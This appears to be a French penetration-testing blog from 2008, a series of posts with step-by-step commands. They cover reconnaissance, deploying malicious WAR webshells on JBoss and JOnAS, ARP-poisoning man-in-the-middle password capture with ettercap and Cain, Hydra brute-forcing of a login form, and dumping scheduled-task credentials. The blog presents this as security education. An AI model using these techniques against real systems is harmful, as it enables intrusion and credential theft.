Concrètement, la solution se trouve du côté des audits combinés qui permettent de considérer l'ensemble des contrôles aux différentes phases nécessaires. Ce type d'audits devraient comprendre le suivi des standards (ISO 27002), la revue de code, l'audit de configuration et les tests d'intrusion.

2.2 - L'exhaustivité des tests

Pour s'assurer que les tests seront suffisamment exhaustifs, il y a deux concepts à prendre en compte :

établir les pré-requis avant de lancer les tests qui permettent de prendre en compte les fonctionnalités de l'application WEB et les scénarios possibles. Est-ce que toutes les menaces sont traitées et disposent d'un moyen de contrôle ? de protection ?
l'exhaustivité des tests doit porter sur les composants annexes à l'application (librairies, DLL, etc.) ;
les tests doivent être pondérés :

Tout d'abord, chercher les bugs (tests quantitatifs) ,
Ensuite, évaluer la pertinence et le risque associé (tests qualitatifs).

3 -Les bases de la norme

En premier lieu, la norme recommande la suivi d'un standard de bonnes pratiques pour le développement (ex : eXtreme). Ensuite, il convient d'effectuer les tests à différentes phases :

Avant le développement de l'application (revue des standards et polices, définition des critères de mesures) ;
Pendant les phases de définition et de conception (listes des pré-requis, revue de l'architecture, modèle UML, analyse de risque) ;
Pendant le développement (points d'entrée de l'application ? revue de code) ;
Pendant le déploiement (tests d'intrusion, audit de configuration) ;
Pendant la phase de maintenance (gestion de l'infrastructure et de l'application elle-même, tests périodiques et gestion des modifications).

4 - Les tests d'intrusion

Selon la norme OWASP, les tests d'intrusion sont décomposés en :

1 phase préliminaire, la phase de collecte (IG pour Information Gathering) ;
9 phases de tests actifs.

C'est le premier point que nous abordons dans cette dernière partie de ce post.

4.1 - IG-001 : Aspirateur de site et robots

1/ Il s'agit de récupérer dans un premier temps le fichier robots.txt du site WEB de la cible :

wget http://cible.fr/robots.txt

2/ Analyser ce fichier :
a) Il vous faut un compte google. Si vous n'en avez pas, vous pouvez vous inscrire ici.
b) Utiliser l'outil d'analyse de google.

4.2 - IG-002 : Moteur de recherche

1/ Utiliser un moteur de recherche (ex : google) avec le mot clé site :

site:cible.fr

2/ Glaner des informations sur la page enregistrée en cache :

4.3 - IG-003 : Identification des points d'entrée

Le but ici est de récupérer des informations à l'aide d'un proxy local (tels que Paros, Webscarab ou Burp Suite par exemple).

1/ Ici, identifier les méthodes POST et GET, leur utilisation.
2/ Identifier aussi les paramètres passés dans les URLs, les entêtes et le corps des requêtes et réponses.

3/ Regarder s'il existe des champs cachés ou autre information intéressante dans le code source de l'application.
4/ Étudier l'utilisation des cookies.
5/ Étudier les informations qui peuvent être contenues dans les entêtes.

4.4 - IG-004 : Fingerprinting

Il existe plusieurs manière pour trouver la version du serveur WEB et de l'OS :
1/ Grâce à Netcat :

nc cible.fr 80
HEAD / HTTP/1.0

2/ Si l'entête ne fournit pas directement les informations recherchées, l'ordre des champs peut fournir la réponse.
3/ Tenter les requêtes malformées (exemples) :

nc cible.fr 80
HEAD /truc.html HTTP/1.0
HEAD / HTTP/3.0

4/ Utiliser les outils automatisés comme httprint :

./httprint -h cible.fr -s signatures.txt

5/ Le site Netcraft [site]

4.5 - IG-005 : Découverte de l'application

1/ Trouver les applications annexes via l'URL. Par exemple, http://cible.fr/webmail. Elles peuvent être trouvées en les devinant pour les plus évidentes ou à l'aide d'un scanner WEB comme Nikto.
2/ Trouver les ports non standards hébergeant des interfaces WEB à l'aide d'un scanner de port comme NMAP (puis vérifier avec telnet) :

nmap cible.fr -p- -sS -sV -PN

3/ Lancer les requêtes DNS (pour trouver les hôtes virtuels) :
a) Tenter le transfert de zones ;

host -t ns cible.fr
host -l cible.fr serveur_dns_cible

b) Tenter les requêtes inverses ;

./dns-ptr cible.fr nb_adresse_ip

c) Recherche DNS via le service de Netcraft [site] ;
d) Requêtes inverses [site] ;
e) Autres recherches avec Maltego par exemple.

4.6 - IG-006 : Analyse des erreurs de code

1/ Provoquer des erreurs via les requêtes HTTP (Erreurs 404 et 500 notamment).

nc cible.fr 80
GET /truc.html HTTP/1.0
GET /truc.html HTTP/1.1

2/ Tester les défauts de configuration du serveur WEB, de la base de données, ...

3/ Tenter une mauvaise authentification.

Le message d'erreur est-il différent quand le login ou le mot de passe sont faux ?
Une erreur d'authentification révèle-t-elle des informations sur la nature du serveur / équipement d'authentification ?
Une erreur d'authentification révèle-t-elle des informations sur la nature du login ? du mot de passe ?

La suite au prochain épisode !

[PENTESTING] JBoss hacking

2008-12-07T05:43:00.000-08:00

Avec l'expansion des serveurs J2EE, il y a de bonnes chances d'en rencontrer un pendant un test d'intrusion d'application WEB. Après avoir vu Jonas dans un post précédent, nous allons aujourd'hui nous attaquer à JBoss, 2e plateforme J2EE open source répandue. Pour cela, nous allons nous baser sur la présentation qui a eu lieu lors de la conférence Hack.lu 2008 avec les démonstrations qui vont bien.

1 - Reconnaissance de la cible

Pour savoir si nous avons à faire à une plateforme JBoss, le scan de la cible devrait nous aider. En l'occurrence, les ports 8080 et 4444 devraient être ouverts en TCP :

2 - Les attaques

Entrons directement dans le coeur du sujet. Il existe plusieurs pistes d'attaque que nous allons voir toute de suite.

2.1 - Attaque via la console JMX

On obtient l'interface WEB de JBoss facilement en tapant sur la port 8080 de la cible. Puis cliquer sur le lien "JMX console" pour atteindre notre but :

Dans la nouvelle page, lancer une recherche sur le mot "deployment" et cliquer sur le premier lien ("deploymentScanner") :

Dans cette troisième page :

rechercher la fonction void addURL() et dont le ParamType est java.lang.String ;
entrer l'adresse où se trouve votre .WAR malicieux dans le champ prévu (ici pentest.war);
cliquer sur le bouton "Invoke".

Si tout s'est bien passé, la page suivante devrait s'afficher :

Entrer maintenant l'URL suivante (avec ici nom_commande = cmd.jsp) :

http://<adresse_cible>:8080/pentest/<nom_commande>

La fenêtre qui s'affiche permet de lancer n'importe quelle commande. Il existe aussi d'autres scripts dans le .WAR malicieux qui peuvent permettre la compromission du serveur. Et 1 - 0 ! :)

L'attaque peut ne pas être possible si la console JMX est protégée par un mot de passe. Cependant, n'oubliez pas d'essayer les mots de passe triviaux avant d'abandonner ;)

2.2 - Attaque via le programme twiddle

Nous tentons donc de passer par l'interface RMI qui est présente ici. Pour cela, nous avons besoin du programme twiddle qui fait partie de l'exécutable de JBoss.

twiddle.bat -s hostname_cible invoke "jboss.system:service" deploy "pentest.war"

NB : Ici, pentest.war est dans le répertoire bin de l'attaquant. Sinon, ajouter le chemin.

NB : Vous pouvez aussi utiliser twiddle.sh ou twiddle.jar.

Les résultats obtenus sont les mêmes que pour la première attaque : et 2 - 0 !

2.3 - Attaque via le BSH Deployer

Nous sommes dans le cas où nous ne sommes pas autorisé à initier un flux sortant contrairement à la première attaque (contrôle pare-feu). Ici, nous utilisons un *.WAR malicieux allégé nommé pentest_light.war. Vous allez comprendre très vite pourquoi ...

Tout d'abord, nous allons devoir écrire un petit programme JAVA. Avant cela, il nous faut juste encoder notre .WAR malicieux en base64. Pour effectuer cette opération, il existe des programmes (base64 file > encoded_file.txt sur la backtrack) ou des sites en lignes [exemple ou exemple2].

Nous plaçons le code obtenu dans le programme qui suit. Je précise que je ne suis pas l'auteur de ce code ;) Ce sont les Red Team les boss !

import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;

String val = "<.war malicieux en base64 ici>";

BASE64Decoder decoder = new BASE64Decoder();
byte[] byteval = decoder.decodeBuffer(val);
FileOutputStream fstream = new FileOutputStream("/tmp/pentest_light.war");
fstream.write(byteval);
fstream.close();

1/ Nous devons accéder à la console jmx et rechercher le BSHDeployer :

2/ Nous utilisons la méthode CreateScriptDeployment() avec les paramètres suivants :

le script lui-même (attention, supprimer les sauts de ligne) ;
le nom de notre script BSH sans l'extension (qui sera concaténée automatiquement).

3/ Une fois que vous avez cliqué sur le bouton "Invoke", le script est présent sur le serveur et a été interprété automatiquement. Notre module pentest_light.war est donc présent sur le serveur. Il ne nous reste plus qu'à le déployer avec une adresse locale :

2.4 - Attaque via la WEB console

Maintenant, nous nous trouvons dans le cas de figure où nous n'avons accès ni à la console JMX (attaques 1 et 3), ni à l'interface RMI (attaque 2).

A suivre ...

Conclusion

JBoss ouvre donc plusieurs voies d'attaque lorsqu'on l'installe par défaut. Il existe plusieurs mesures permettant de renforcer la sécurité de la plateforme J2EE. Elles devront toutes être mises en place pour parer à l'ensemble des menaces :

Mise en place d'un mot de passe sur l'interface JMX ;
Filtrage au niveau du pare-feu ;
Contrôle d'accès (sources) ;
Fermeture des ports non utilisés sur le système (ex : interface RMI).
Etc.

[WEB PENTESTING] SSL Capture Password

2008-11-29T00:54:00.000-08:00

Nous nous mettons dans le cas d'un audit d'un site WEB utilisant le protocole SSL. Alors que la plupart des internautes y voient une sécurité certaine, l'utilisateur averti connaît les faiblesses de ce protocole quand il est mal configuré. Ce post commencera par évaluer la robustesse de la sécurité de la communication. Dans un second temps, nous exploiterons le protocole s'il peut être affaibli (ou s'il l'est déjà ...).

1 - Quelques informations nécessaires.

Le protocole SSL existe en plusieurs versions. Vous trouverez sur Internet toutes les informations nécesaires. Pour commencer, Wikipédia est certainement un bon début grâce à l'article dédié à ce protocole [ici].

Mais pour la suite, nous avons juste besoin de savoir que nous trouvons principalement sur le WEB :

CAS 1 : Des serveurs WEB reposant sur un certificat SSLv2 vulnérable à des attaques de type Man-in-the-Middle ;
CAS 2 : Des serveurs WEB reposant sur un certificat SSLv3/TLSv1 mais supportant aussi le protocole SSLv2. Ils deviennent alors eux aussi vulnérables au mêmes type d'attaque ;
CAS 3 : Des serveurs WEB reposant sur un certificat SSLv3/TLSv1 et ne supportant que ce protocole. Ces serveurs ne sont pas vulnérables sauf si la clé de chiffrement est faible.

Le certificat par défaut peut utiliser un algorithme de chiffrement robuste mais cela n'empêche pas qu'il peut supporter des algorithmes de chiffrements plus faibles.

2 - Le serveur audité est-il vulnérable ?

Pour résumer la première partie, la réponse sera "oui" s'il supporte le protocole SSLv2 et/ ou s'il supporte des algorithmes de chiffrement basée sur une clé trop faible.

Pour effectuer nos tests, nous allons étudier l'outil SSLDigger de Foundstone [télécharger].

Le certificat par défaut peut utiliser un algorithme de chiffrement robuste mais cela n'empêche pas qu'il peut supporter des algorithmes de chiffrements plus faibles.

Après avoir lancé l'outil et entré l'adresse du site, appuyez sur le bouton "GO". De suite, nous voyons que le certificat repose sur un algorithme RSA et une clé de chiffrement de 1024 bits : c'est bon ! De plus, nous remarquons qu'il est signé par une entité reconnue.

Mais supporte-t-il aussi des protocoles faibles ? Pour cela, SSLDigger lance automatiquement les tests si vous avez cliqué sur sur "oui" sur la popup apparue à l'ouverture de l'outil. Sinon, vous trouverez un bouton "SSL test" sur l'interface.

Une fois les tests terminés, cliquez sur "oui" pour enregistrer et voir le rapport. En l'occurrence, nous voyons que des protocoles faibles sont supportés (3 exactement) :

Le détails de ces protocoles est donné plus loin dans le rapport. Il est donc techniquement possible de casser la clé de chiffrement après s'être connecté avec l'un des algorithmes comportant une clé de longueur trop faible. Cela se fait à l'aide d'OpenSSL notamment mais ce n'est pas cette voie que nous allons détailler.

Nous allons néanmoins de suite utiliser cette commande pour voir si le site audité supporte le protocole SSLv2 :

openssl s_client -ssl2 -connect www.cible.com:443

Bingo ! Nous nous connectons au serveur en SSLv2. (NB: avec le protocole DES-CBC3-MD5, l'un des protocoles repérés par SSLDigger).

Alors nous pouvons passer à la suite !

3 - Lancement d'une attaque de type Man-in-the-Middle

3.1 - Préparation

Pour mener l'attaque, nous aurons besoin d'un seul outil, Ettercap [télécharger].

Configuration (si vous utilisez ipchains/iptables) :

Ouvrir etter.conf ;

Décommenter les lignes :
1. redir_command_on
2. redir_command_off

Le scénario est le suivant :

1 serveur qui correspond à nos critères de la phase 2 ;
1 machine victime qui se connecte vers se serveur après authentification ;
1 machine pirate qui se placera entre les deux machines pour mener une attaque de type MiTM.

3.2 - Lancement de l'attaque

On commence par vérifier que toutes les machines sont localisées (en ligne de commande "T", sur l'interface eth0 "i") :

ettercap -Tqi eth0 // //

On devrait voir l'adresse de la victime et celle du routeur commun (cadre rouge) alors que l'adresse du pirate apparaît en haut (cadre vert) :

L'attaque se lance avec la commande suivante :

ettercap -Tqi eth0 -M arp -l mission /adresse-routeur/ /adresse-victim/

Vous capturerez le compte dès que la victime se connectera sur le site avec son couple login/mot de passe.

Par la suite, nous pouvons retrouver les résultats en lisant le fichier de capture :

etterlog mission.eci

The account is owned! Have fun! :)

[SECURITY] Datacenter

2008-11-05T13:10:00.000-08:00

Lors d'un pentest pour une entreprise, vous devrez certainement vous attaquer à un Datacenter car c'est bien là que sont installés les serveurs et équipements réseau du SI de la compagnie. De suite, nous comprenons l'enjeu de sécuriser le Datacenter ... Dans ce post, nous ne verrons qu'un seul aspect de la sécurité, les contrôles logiques.

1 - Apporter et maintenir le niveau de sécurité

1.1 - Application des bonnes pratiques systématique :

Un Datacenter "vit" et même sécurisé, le moindre changement peut ébranler son niveau de sécurité. Par exemple, dans le cas de l'installation d'un nouveau serveur, les principales mesures à prendre en compte sont :

le système d'exploitation du serveur doit être "masteriser" avec les seules applications nécessaires et une sécurisation en amont si possible ;
seuls les comptes nécessaires doivent être autorisés à se connecter à la machine que ce soit localement ou à distance ;
seuls les services utiles doivent tourner. De plus, ils ne doivent être lancés "automatiquement" que si cela est nécessaire pour le bon fonctionnement du serveur et des applications hébergées. Sinon, une activation "manuelle" et un service arrêté au démarrage du système est préférable. Enfin, un compte de service avec des droits restreints doit être accordé au service ;
la configuration des modules systèmes et des applications doit être travaillée. Par exemple, seules les communications sécurisée via SSH sont autorisées. Cela passe par la configuration du service de même nom via des fichiers de configuration comme sshd_config.

1.2 - Renforcement de la sécurité d'un système

Pour assurer tous les piliers de la sécurité à une machine, il nous faudrait installer idéalement :

un agent de sauvegarde pour la disponibilité des données ;
un agent chargé de surveiller l'intégrité des informations (ex : Tripwire) ;
un agent chargé de tracer les évènements pour la non-répudiation des actions (ex : Syslog) ;
le chiffrement des disques pour la confidentialité.

Dans la réalité, la société devra étudier et classer ses serveurs selon sa criticité (en général, en fonction de son exposition et des données contenues). Alors, la sécurité apportées doit être en adéquation avec le niveau de criticité attribué à la machine.

2 - La gestion des incidents

Personne n'est à l'abri d'un incident. Et lorsque cela arrive, il faut être en mesure de :

le repérer. Cela peut se faire idéalement à l'aide d'un SOC et d'une équipe de monitoring pour l'animer. Ce SOC devrait reposer sur une solution de corrélation de logs (ex : OSSIM) ;
le cerner. L'incident peut être de nature diverse. Ensuite, il peut être plus ou moins prioritaire. Mais avant tout, il faut être sûr qu'il ne s'agit pas d'un faux positif. Il faut donc vérifier la pertinence de l'alerte reçue. Si l'alarme est justifiée, l'incident doit être signalé à toutes les personnes impliquées ;
l'analyser et le traiter. Un incident reconnu doit être pris en charge par l'équipe sécurité. Celle-ci entame alors une investigation pour déterminer la nature exacte de l'attaque, sa provenance, ses conséquences / actions et les actions à prendre en compte dans l'immédiat pour éviter une propagation par exemple et à échéance pour éviter le reproduction d'un incident de même nature.

Diverses mesures permettent d'obtenir une gestion d'incident efficace. Pour citer quelques exemples, une solution éprouvée doit être mise en place pour repérer les incidents avec fiabilité, une procédure détaillée doit être instaurée pour s'assurer qu'un incident sera traité de bout en bout et les moyens doivent être mis à la disposition des opérationnels sécurité pour mener à bien la phase d'investigation.

3 - Pérennisation de la sécurité logique

Pour faire face aux menaces continues des attaquants et pour se préparer contre les nouveaux vecteurs d'attaques. Pour cela, voici un résumé des recommandations qui peuvent être mises en place :

une gestion des mises à jour rigoureuse. En plus du déploiement d'une solution telle que SCCM pour le déploiement des mises à jour, la compagnie devrait s'abonner à une liste de veille sécurité. Ainsi, les équipes sécurité seront au courant des menaces en quasi temps réel. Alors, en cas d'attaque critique (e.g. Ver), une procédure d'urgence d'application de patch doit être déroulée ;
effectuer un audit de configuration. Pour s'assurer que les recommandations sécurité sont appliquées correctement, des audits de configuration avant la mise en production et régulièrement devraient être planifiés. Par exemple, il pourrait s'agir de vérifier qu'une application WEB et les client autorisés ne communiquent qu'en TLSv1 pour assurer l'intégrité et la confidentialité des données échangées ;
effectuer des audits de vulnérabilité (ou mieux, des tests d'intrusion). Pour s'assurer de la robustesse d'un équipement du Datacenter, le mieux est d'effectuer un test d'intrusion sur cet élément ou à défaut, un test de vulnérabilité. Effectués régulièrement, ils permettent de s'assurer de la sécurité de la machine dans le temps. Evidemment, cela suppose que les actions correctives sont apportées concernant les failles trouvées pendant l'audit...

Finalement, toutes les mesures à prendre en compte ont pour objectif de garantir la concordance entre le niveau de sécurité des équipements et la politique de sécurité de l'entreprise.

Conclusion

Le post a présenté les aspects logique en termes de sécurité IT d'un Datacenter. Cependant, les mesures apportées ne seront efficaces que si elles sont accompagnées d'une sécurité organisationnelle et physique. A quoi bon blinder ses serveurs s'il est possible d'accéder facilement à la salle contenant les machines ? A quoi bon prévoir des solutions de sécurité drastiques si elles ne sont pas (ou mal) appliquées grâce à des procédures précises et connues par les personnes impliquées ? C'est pourquoi, pour aller plus loin et aborder ces autres aspects de la sécurité, je vous propose la lecture de l'article sur la sécurisation des datacenters paru dans Hakin9 de nov/déc 2008. Vous verrez, l'auteur est très sympa ;)

[PENTESTING][DNS]Train with backtrack's tools

2008-10-09T12:15:00.001-07:00

Lorsque vous cherchez à auditer un serveur DNS, il existe de nombreux outils à votre disposition. En l'occurrence, la Backtrack vous en propose un certain nombre. Nous allons nous amuser un peu avec aujourd'hui pour mieux les comprendre. Nous avons déjà vu précédemment DnsEnum, plus complet mais cette fois, il s'agit d'opérer sur des points plus précis. C'est parti !

1 - DNS-ptr

But : Effectuer un grand nombre de requêtes DNS inverses pour trouver les hostnames de la plage IP auditée.

Syntaxe :

$ dns-ptr adresse-ip-auditée nombre-machines

Exemple :

2 - DNSWalk

But : Tenter des transferts de zones sur l'ensemble des adresses récupérées.

Syntaxe :

$ dnswalk adresse-ip-auditée

Exemple :

3 - DNSBruteforce

But : Tenter de trouver des machines supplémentaires sur le domaine en devinant les noms de machine, grâce à la technique de Bruteforce.

Syntaxe :

$ ./DNSBruteforce.py domaine-audité server.lst hosts-txt

Exemple :

Astuces :

Peupler le fichier hosts-txt (ex : apache, gw, gateway, ns0, ns1, ns2, ns01, news, etc...) ;
Peupler le fichier server.lst avec les serveurs DNS de la cible en lançant la commande suivante ;

$ dig NS cible

Lancer la commande une première fois (cf. exemple ci-dessous) ;
Peupler de nouveau le fichier hosts-txt avec les premiers résultats trouvés (ex : gw5, gw6, ... si on a trouvé gw1 à gw4 la première fois) ;
Relancer la commande.

4 - DNSMap

But : Comme l'outil précédent, il a pour objectif de trouver des machines supplémentaires sur le domaine cible à partir d'un "dictionnaire". De plus, il présente les résultats par type et avec l'adresse IP associée.

Syntaxe :

$ dnsmap domaine-audité liste

Exemple :

Have fun ;)

[PENTEST WINDOWS] Find credentials using TaskManager!

2008-08-30T14:33:00.000-07:00

En tant qu'agent confirmé, vous savez que lors d'un pentest sur Windows, vous passerez forcément par l'étape Dump de hashes et crackages. Fastidieux ? Alors voici une nouvelle méthode : passer par le TaskManager !

1 - Contexte

Ce post a pu être réalisé grâce à l'article très bien fait d'Ivanlef0u. Vous y trouverez toutes les explications. Dans le cadre d'un pentest, il faudrait que la machine auditée soit sous Windows donc et qu'une tâche planifiée au moins soit créée. Sachant que les droits administrateurs sont requis pour créer une telle action, nous devrions obtenir des credentials intéressants ;)

Dans la suite de ce post, nous reprenons le scénario depuis le début à des fins pédagogiques. Votre mission est de reproduire les étapes. Attention, vous pourriez être surpris !

2 - Mise en condition

Nous commençons par créer un tâche. Pour exemple, nous décidons de lancer le programme Paint. Mais nous aurions pu choisir n'importe quel autre programme. Deux méthodes :

en ligne de commande :

at 18:05 paint.exe

avec l'interface graphique :

Aller dans Démarrer > Paramètres > Panneau de configuration > Tâches planifiées. Dans la nouvelle fenêtre, cliquer sur "Création d'une nouvelle tâche" et suivez les instructions du wizard (ex : Paint, toutes les semaines, les jeudis à 22h45). Vous devrez renseigner les credentials ... ce qu'aura fait aussi l'administrateur de la machine auditée lors d'un test d'intrusion !

La figure suivante montre la liste des tâches créées : la première en ligne de commande (At1) et la seconde via la GUI (Paint).

3 - L'attaque

Grâce au programme d'Ivanlef0u, le travail va être très simple mais pas moins impressionnant ! Commencez par télécharger le programme que vous trouverez ici. Décompresser et via l'interpréteur de commande, rendez-vous dans le répertoire d'execution nommé exe\Release.

Il ne vous reste plus qu'à exécuter le programme ...

TaskPwdDmp.exe

... et à admirer le résultat !

Have fun ;)

[INTERNAL PENTEST] Caïn - attack local application

2008-08-26T13:43:00.000-07:00

Que le test soit initialement interne ou que vous ayez réussi à obtenir un accès en passant par un accès externe (ex : Internet), il arrivera un moment où vous vous trouverez sur le LAN de la cible. Alors, vous aurez besoin de Caïn qui représentera un réel couteau suisse dans votre aventure ! Nous ne verrons qu'une toute petite partie de ses capacités dans ce billet mais de quoi déjà faire des ravages !

1 - Contexte

Voici le contexte qui représente dans le même temps les conditions nécessaires pour réussir les opérations qui vont suivre :

nous avons {obtenu} un compte sur une machine du réseau locale de la cible ;
ce compte a les droits "administrateur local" ;
l'antivirus sur la machine de travail est inefficace ou vous avez réussi à le désactiver.

Il existe des méthodes de contournement pour la première condition. La deuxième est soit fournie par le client, soit obtenue grâce à une escalade de privilège. Quant à la troisième, nous supposons que la cible est assez sérieuse pour avoir installé un antivirus sur chaque machine. Cependant, pour le désactiver, il faudrait en théorie avoir des droits suffisants sur le domaine, sans quoi, un utilisateur pourrait le désactiver facilement.

2 - Redirection du trafic

Ici, nous souhaitons récupérer les informations sensibles que nous pouvons intercepter sur le réseau interne, en l'occurrence logins et mots de passe. Souvent, se croyant protéger sur son propre réseau, les communications sont en clair sur le réseau en question. Nous verrons que c'est souvent réellement le cas.

Alors, par une attaque appelée ARP Cache Poisoning, nous allons faire en sorte que les associations adresses MAC - Adresses IP soient modifiées dans le but de faire croire que d'autres adresses IP correspondent à notre adresse MAC. Cette attaque bien connue est bien expliquée sur Wikipédia. En plus de récupérer le trafic d'autres utilisateurs, vous le redirigez de sorte que l'opération reste transparente pour les victimes.

C'est ici qu'intervient Caïn ! Vous devriez commencer par le télécharger ici et l'installer si vous ne l'avez pas déjà fait auparavant.

2.1 - Configuration de Caïn

Dans le menu, cliquer sur Configure. par défaut, vous arrivez sur l'onglet Sniffer. Ici, vérifier que la bonne carte réseau est sélectionnée et que l'option "Don't use Promiscuous mode" n'est pas cochée.

Ensuite, rendez-vous dans l'onglet APR. Si vous avez pour but d'être discret, sélectionnez "Use Spoofed IP and MAC address" et modifier l'adresse IP et l'adresse MAC en choisissant des valeurs cohérentes. Les autres paramètres peuvent être laissés par défaut :

2.2 - Lancer la redirection de trafic

Voici la démarche à suivre :

cliquer sur les boutons "sniffer" et "APR" dans la barre de menu en haut à gauche ;
cliquer sur l'onglet "sniffer" (en haut) ;
cliquer sur le sous-onglet "APR" (en bas) ;
cliquer sur le "+" pour paramétrer l'attaque ARP Cachee Poisoning où vous choisirez la ou les machine(s) cible(s) :

c'est bon, le sniffing est en cours !

3 - Interception des mots de passe

Il vous suffit de vous rendre dans le sous-onglet "Hosts" pour obtenir des informations intéressantes.

Encore mieux, allez dans le sous-onglet "Passwords" et là, trouvez tous les mots de passe interceptés, ainsi que les logins associés de tous les credentials qui circulent sur le réseau à travers de nombreux protocoles : HTTP, SMB, LDAP, etc.).

Have fun ;)

[PENTESTING] Get access through HTTP form using Hydra

2008-06-20T06:43:00.001-07:00

Lors du dernier post, nous avons rencontré une interface WEB contenant une méthode d'authentification basée sur un mode dit "HTTP-Form". Puisqu'il existe de très nombreuses applications WEB utilisant cette méthode, il y a de grande chance que vous soyez amenés à tester la force du mot de passe. Nous partons du principe ici que l'attaque ne peut se faire qu'online.

NB : Comme tous les posts de ce blog, la démonstration qui suit n'a de vocation que de sensibiliser et prévenir et non de porter atteinte à quiconque, ce qui serait illégal !

0 - Contexte

Dans ce billet, nous reprenons le cas d'une application Jonas. Nous supposons que nous avons trouver l'interface admin grâce à des scanners comme NMAP (ici, il s'agirait d'une application WEB sur le port 9000, port utilisé par défaut par Jonas) ou des scanners WEB comme Nikto ou Wikto qui sont capables de trouver les pages de ce type. Notre cible est donc http://123.123.123.123:9000/jonasAdmin, sachant que c'est ici que se trouve par défaut la page d'administration de l'appli J2EE en question. Aussi, nous savons - ou avons appris suite à nos recherches - qu'il existe un nom d'utilisateur par défaut : jonas. Pour terminer, nous supposons que le mot de passe a été changé et n'est plus celui par défaut (qui serait ici jonas).

1 - A la recherche des informations clés !

Pour réussir notre attaque, nous utiliserons Hydra de THC. Ensuite, nous avons besoin d'un certain nombre d'éléments, à savoir :

le nom du champ contenant le login dans la page WEB ;
le nom du champ contenant le mot de passe dans la page WEB ;
le nom de la page / du script vérifiant la validité ou non du couple login/mot de passe fourni par l'utilisateur ;
un mot spécifique retourné par la page d'erreur en cas d'échec de l'authentification.

Il existe plusieurs méthodes pour obtenir ces informations. Mais la méthode la plus fiable qui nous assurera de toutes les avoir est d'utiliser un proxy local. S'il en existe bien d'autres, nous utiliserons ici Paros.

Une fois Paros lancé, nous configurons notre navigateur de sorte qu'il utilise ce proxy local (par défaut sur le port 8080). Cette opération peut se faire manuellement dans les options de votre navigateur (Outils > Options > Avancé > Réseau > Paramètres) ou via une extension après configuration (ex : l'extension Switch proxy de firefox).

Nous allons maintenant sur la page http://123.123.123.123:9000/jonasAdmin et tapez jonas en tant que login et un mot de passe aléatoire, exemple jonas pour être sûr que le mot de passe par défaut n'a pas été laissé tout simplement.

Effectivement, le mot de passe a été changé. Cependant, nous obtenons la dernière information clé et nous utiliserons le mot Invalid.

Nous retournons maintenant dans Paros :

La première requête POST contient toutes les infos dont nous avons besoin :

le champ login à utiliser est j_username ;
le champ mot de passe à utiliser est j_password ;
la page à utiliser est j_security_check.

Nous sommes parés ! Il est donc temps de passer à l'étape suivante.

2 - Crackage du mot de passe

Pour casser le mot de passe, nous avons deux solutions : soit par brute-force, soit une attaque par dictionnaire. En tant que bon agent de Mission-Security, vous n'aurez pas négligé la phase de prise d'information et vous aurez certainement une bonne idée de ce que pourrez être le mot de passe. Alors, commençons par une attaque par dictionnaire et seulement ensuite, tenter une attaque par brute-force en cas d'échec.
Donc, une fois écrit votre fichier de mots de passe personnalisé pour la cible (appelé ici passwords.txt), nous pouvons lancer Hydra avec la commande suivante (ATTENTION : votre antivirus peut empêcher l'exécution du cracker) :

hydra -l jonas -P password.txt -s 9000 -o results.txt 123.123.123.123 http-post-form "/jonasAdmin/j_security_check:j_username=^USER^&
j_password=^PASS^&submit=Login:Invalid"

NB : avec -s, le numéro du port.

Le résultat ne se fait pas attendre :

Have fun ;)

[WEB PENTESTING] Hack a JOnAS Web Application

2008-06-14T15:29:00.000-07:00

Avec le WEB 2.0, les applications WEB se sont largement multipliées, augmentant dans le même temps les failles de sécurité. Parmi ces applis, nous trouvons JOnAS. Le post suivant propose un scénario d'attaque dans le cas où vous trouveriez cette solution.

NB : Comme tous les posts de ce blog, la démonstration qui suit n'a de vocation que de sensibiliser et prévenir et non de porter atteinte à quiconque, ce qui serait illégal !

1 - Avoir accès à la page d'administration

Supposons que nous avons repéré JOnAS - une application WEB téléchargeable sur *NIX et WIN* - sur un serveur cible, tournant par défaut sur le port 9000. Il suffit d'utiliser notre navigateur pour nous retrouver sur la page de la cible (ici, à l'adresse 192.168.123.123 pour notre démonstration, reposant sur une plateforme Windows mais les tests peuvent aussi être lancer sous *NIX) : http://192.168.123.123:9000/jonasAdmin. Vous arrivez sur la page suivante :

Par défaut, les credentials sont jonas/jonas, tentez votre chance ! Sinon, il existe de nombreuses méthodes pour trouver le mot de passe s'il a été changé :

Avec Brutus (cf. la fin du post "Is your money safe?") ;
Avec Hydra. Ce deuxième cas fera l'objet du prochain post.

2 - Ajouter le module malicieux

Une fois loggé, nous pouvons déployer un nouveau module sur le serveur. Celui-ci, nommé mission-security.war, contiendra les pages malicieuses ... Pour cela, sur la page d'admin de JOnAS :

Etendez "Deployment" (colonne de gauche) ;
Cliquez sur "Web Modules (WAR)" ;
Cliquez sur le deuxième onglet "Upload" (page principale) ;
Cliquez sur "Parcourir" pour sélectionner le module ;
Retrouvez le module sur votre machine ;
Il ne vous restera plus qu'à cliquer sur le bouton "Upload".

Vous arrivez sur la page suivante :

Une fois cette opération réussie, il faut :

Revenir sur le premier onglet, nommé "Deployment" ;
Le module uploadé devrait apparaître dans la colonne de gauche de la page principale. Cliquez dessus pour le sélectionné ;
Cliquez sur le bouton ">>>" pour le déployer (partie droite) ;
Cliquez sur le bouton "Apply" pour finaliser cette étape.

Sur la page suivante, cliquez sur "Confirm" :

3 - Exécuter des commandes arbitraires

Dans votre navigateur, entrer l'URL : http://192.168.123.123:9000/mission-security/

Maintenant, c'est à votre imagination de jouer mais voici certainement l'exemple le plus convaincant :

Cliquer sur le répertoire "win32/" (toujours en admettant que la cible est sous WIN*) ;
puis sur la page "cmd_win32.jsp" (ou accessible directement en tapant l'URL http://192.168.123.123:9000/mission-security/win32/cmd_win32.jsp) ;
Tapez la commande de votre choix. Ici, la commande dir en tant qu'exemple.

Plus exactement, le code de cette page est le suivant :

Et maintenant, Have fun !

[SECURITY TOOL] SSL power with SslNetcat!

2008-06-12T04:31:00.000-07:00

Le protocole SSL est largement utilisé et il n'est plus besoin aujourd'hui de le présenter. Mais dans la pratique, il nous est indispensable pour sécuriser les communications par exemple. Aussi, lors de l'audit comme celui d'un site WEB en HTTPS, il nous sera très utile de communiquer via ce protocole pour effectuer nos tests. Un outil va nous servir de couteau-suisse ici, il s'agit de SslNetCat.

0 - Préparation et contexte

Pour la suite de nos travaux pratiques, nous commençons par télécharger le script SslNetCat disponible ici. Puisqu'il s'agit d'un script perl, soyons explicite et il sera enregistré ici en tant que scnc.pl. Il faut le télécharger sur une machine cliente ET une machine serveur.

Pour exécuter le script perl, nous aurons besoin de modules perl. Attention, la liste peut être différente pour votre machine :

